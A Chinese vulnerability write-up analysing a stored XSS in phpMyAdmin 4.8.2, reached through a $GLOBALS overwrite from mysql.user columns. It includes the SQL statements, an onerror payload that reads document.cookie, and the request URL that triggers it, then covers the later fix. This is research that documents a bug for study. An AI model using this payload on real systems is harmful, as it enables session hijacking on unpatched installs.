phpmyadmin<4.8.3 XSS挖掘

2020-05-29 约 574 字 预计阅读 3 分钟

声明:本文 【phpmyadmin<4.8.3 XSS挖掘】 由作者 antibob 于 2020-05-29 09:42:55 首发 先知社区 曾经 浏览数 178 次

感谢 antibob 的辛苦付出!

前言

最近在审计phpmyadmin的时候发现了一个XSS漏洞,后来发现在版本大于4.8.3以后该漏洞被修复了。看了下之前公布的CVE,有个CVE和此漏洞很相似但没有漏洞细节,于是乎便有了这篇文章。

准备

需要的环境

  • phpmyadmin 4.8.2

  • phpstorm

  • phpstudy(xdebug)

配置xdebug

首先下载xdebug,将phpinfo信息复制到在线向导中,根据提示下载dll文件, php.ini开启xdebug的配置如下。

xdebug.remote_enable=1    # 开启远程调试
xdebug.idekey='PHPSTORM'  # sessionkey
xdebug.remote_port=9001   # 远程调试通信端口
zend_extension = D:\phpStudy\PHPTutorial\php\php-7.2.1-nts\ext\php_xdebug-2.9.4-7.2-vc15-nts.dll

漏洞细节

先决条件

在审计phpmyadmin时,我比较关注$GLOBALS全局变量,该变量存储了本次请求的信息、phpmyadmin基本设置信息和phpmyadmin配置文件信息等。先看看/libraries/classes/Server/Privileges.php::3977的以下代码。

foreach ($row as $key => $value) {
    $GLOBALS[$key] = $value;
}

很明显,该处是$GLOBALS的赋值操作,而$row来自于对mysql.user表的查询结果,且$user_host_condition可控,
/libraries/classes/Server/Privileges.php::3966行

public static function getDataForChangeOrCopyUser()
    {
        $queries = null;
        $password = null;

        if (isset($_REQUEST['change_copy'])) {
            $user_host_condition = ' WHERE `User` = '
                . "'" . $GLOBALS['dbi']->escapeString($_REQUEST['old_username']) . "'"
                . ' AND `Host` = '
                . "'" . $GLOBALS['dbi']->escapeString($_REQUEST['old_hostname']) . "';";
            $row = $GLOBALS['dbi']->fetchSingleRow(
                'SELECT * FROM `mysql`.`user` ' . $user_host_condition
            );

既然上述代码会将mysql.user中符合条件的行的列名和值写入$GLOBALS中,我们便可通过添加mysql.user的列来往$GLOBALS中写入任意键值。清楚思路后,我们看看哪里调用了Privileges.php的getDataForChangeOrCopyUser函数,发现在server_privileges.php::178中对该函数有调用。

list($queries, $password) = Privileges::getDataForChangeOrCopyUser();

这时我们来试试向$GLOBALS中写一个$GLOBALS['xz']='aliyun'。进入mysql库,执行以下2条sql语句向user表添加xz字段,并插入一条数据。

ALTER TABLE user ADD xz varchar(255);
INSERT INTO `user` (`Host`, `User`, `Password`, `Select_priv`, `Insert_priv`, `Update_priv`, `Delete_priv`, `Create_priv`, `Drop_priv`, `Reload_priv`, `Shutdown_priv`, `Process_priv`, `File_priv`, `Grant_priv`, `References_priv`, `Index_priv`, `Alter_priv`, `Show_db_priv`, `Super_priv`, `Create_tmp_table_priv`, `Lock_tables_priv`, `Execute_priv`, `Repl_slave_priv`, `Repl_client_priv`, `Create_view_priv`, `Show_view_priv`, `Create_routine_priv`, `Alter_routine_priv`, `Create_user_priv`, `Event_priv`, `Trigger_priv`, `Create_tablespace_priv`, `ssl_type`, `max_questions`, `max_updates`, `max_connections`, `max_user_connections`, `plugin`, `authentication_string`, `xz`) VALUES ('127.0.0.1', 'test', '*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', '', '0', '0', '0', '0', '', '', 'aliyun');

在/libraries/classes/Server/Privileges.php::3980下断点

$serverVersion = $GLOBALS['dbi']->getVersion();

然后构造http://127.0.0.1/phpMyAdmin-4.8.2/server_privileges.php?change_copy=aa&old_username=test&old_hostname=127.0.0.1&mode=5 参数请求,change_copy随便给个参数即可,mode必须大于4否则新添加的数据会被删除。


可以看到$GLOBALS['xz']='aliyun'已经成功赋值。

利用构造

有了可控的$GLOBALS变量后,我们需要寻找触发点。要在一次请求便触发漏洞,公共页面是首选目标。通过全局搜索$GLOBALS变量,发现在libraries/classes/Navigation/NavigationTree.php::1272的renderDbSelect函数中有使用未过滤的$GLOBALS变量。

$retval .= '<div id="pma_navigation_db_select">';
        $retval .= '<form action="index.php">';
        $retval .= Url::getHiddenFields($url_params);
        $retval .= '<select name="db" class="hide" id="navi_db_select">'
            . '<option value="" dir="' . $GLOBALS['text_dir'] . '">'

继续搜索调用renderDbSelect函数地方,发现libraries\classes\Navigation\Navigation.php::62的getDisplay函数。

public function getDisplay()
    {
        /* Init */
        $retval = '';
        $response = Response::getInstance();
        if (! $response->isAjax()) {
            $header = new NavigationHeader();
            $retval = $header->getDisplay();
        }
        $tree = new NavigationTree();
        if (! $response->isAjax()
            || ! empty($_REQUEST['full'])
            || ! empty($_REQUEST['reload'])
        ) {
            if ($GLOBALS['cfg']['ShowDatabasesNavigationAsTree']) {
                // provide database tree in navigation
                $navRender = $tree->renderState();
            } else {
                // provide legacy pre-4.0 navigation
                $navRender = $tree->renderDbSelect();

继续搜索实例化Naviagtion类并且调用了getDisplay函数的地方,发现libraries\classes\Header.php::440的getDisplay函数有调用。

public function getDisplay()
    {
        $retval = '';
        ...(省略)
                if ($this->_menuEnabled && $GLOBALS['server'] > 0) {
                    $nav = new Navigation();
                    $retval .= $nav->getDisplay();
                }

搜索实例化Header->GetDisplay的方法,发现\libraries\classes\Response.php::100的构造方法中实例化了Header类,而$this-_header又在_getDisplay中被调用。_getDisplay被_htmlResponse调用,_htmlResponse在response函数中被调用。

private function __construct()
    {
        if (! defined('TESTSUITE')) {
            $buffer = OutputBuffering::getInstance();
            $buffer->start();
            register_shutdown_function(array($this, 'response'));
        }
        $this->_header = new Header();
        $this->_HTML   = '';
        $this->_JSON   = array();

\libraries\classes\Response.php::266行

private function _getDisplay()
    {
        // The header may contain nothing at all,
        // if its content was already rendered
        // and, in this case, the header will be
        // in the content part of the request
        $retval  = $this->_header->getDisplay();
        $retval .= $this->_HTML;
        $retval .= $this->_footer->getDisplay();
        return $retval;
    }

\libraries\classes\Response.php::279行

private function _htmlResponse()
    {
        echo $this->_getDisplay();
    }

\libraries\classes\Response.php::438行

public function response()
    {
        chdir($this->getCWD());
        $buffer = OutputBuffering::getInstance();
        if (empty($this->_HTML)) {
            $this->_HTML = $buffer->getContents();
        }
        if ($this->isAjax()) {
            $this->_ajaxResponse();
        } else {
            $this->_htmlResponse();
        }
        $buffer->flush();
        exit;
    }

这里注意__construct中的register_shutdown_function函数,看php manual,意思是说当脚本运行结束或遇到exit后会执行该response函数,

意思就是说只要哪里实例化了Response类,在程序运行结束后就会执行response函数。真好,回到server_privileges.php::34行,发现有实例化Response。

$response = Response::getInstance();
$header   = $response->getHeader();
$scripts  = $header->getScripts();

拥有以上调用链后,只需要控制$GLOBAS的键为text_dir,值为XSS payload即可,进入mysql库,执行以下sql语句修改列名xz为text_dir,并修改数据为XSS Payload。

ALTER TABLE `user` CHANGE `xz` `text_dir` VARCHAR(255) CHARACTER SET utf8 COLLATE utf8_bin NULL DEFAULT NULL;
UPDATE `user` SET `text_dir` = '\"><img src=1 onerror=alert(document.cookie)><option dir=\"' WHERE `user`.`Host` = '127.0.0.1' AND `user`.`User` = 'test';

构造http://127.0.0.1/phpMyAdmin-4.8.2/server_privileges.php?change_copy=aa&old_username=test&old_hostname=127.0.0.1&mode=5,

成功触发XSS

总结

利用全局变量覆盖的方法触发XSS的点还有很多,在phpmyadmin4.8.3后将$_REQUEST替换成了$_POST,在common.inc.php中对于POST请求会预先校验token值,若token值与SESSION中不匹配,后续无法获取$_POST值,导致新版本无法实现XSS。

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    if (Core::isValid($_POST['token'])) {
        $token_provided = true;
        $token_mismatch = ! @hash_equals($_SESSION[' PMA_token '], $_POST['token']);
    }

phpmyadmin5.0.2(最新版修复方法)

if (isset($node->links['text'])) {
                $title = isset($node->links['title']) ? '' : $node->links['title'];
                $options .= '<option value="'
                    . htmlspecialchars($node->realName) . '"'
                    . ' title="' . htmlspecialchars($title) . '"'
                    . ' apath="' . $paths['aPath'] . '"'
                    . ' vpath="' . $paths['vPath'] . '"'
                    . ' pos="' . $this->pos . '"';
                if ($node->realName == $selected) {
                    $options .= ' selected';
                }
                $options .= '>' . htmlspecialchars($node->realName);
                $options .= '</option>';
            }

虽然做了过滤,但由于全局变量覆盖问题依然存在,可以说最新版还是存在风险的。

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now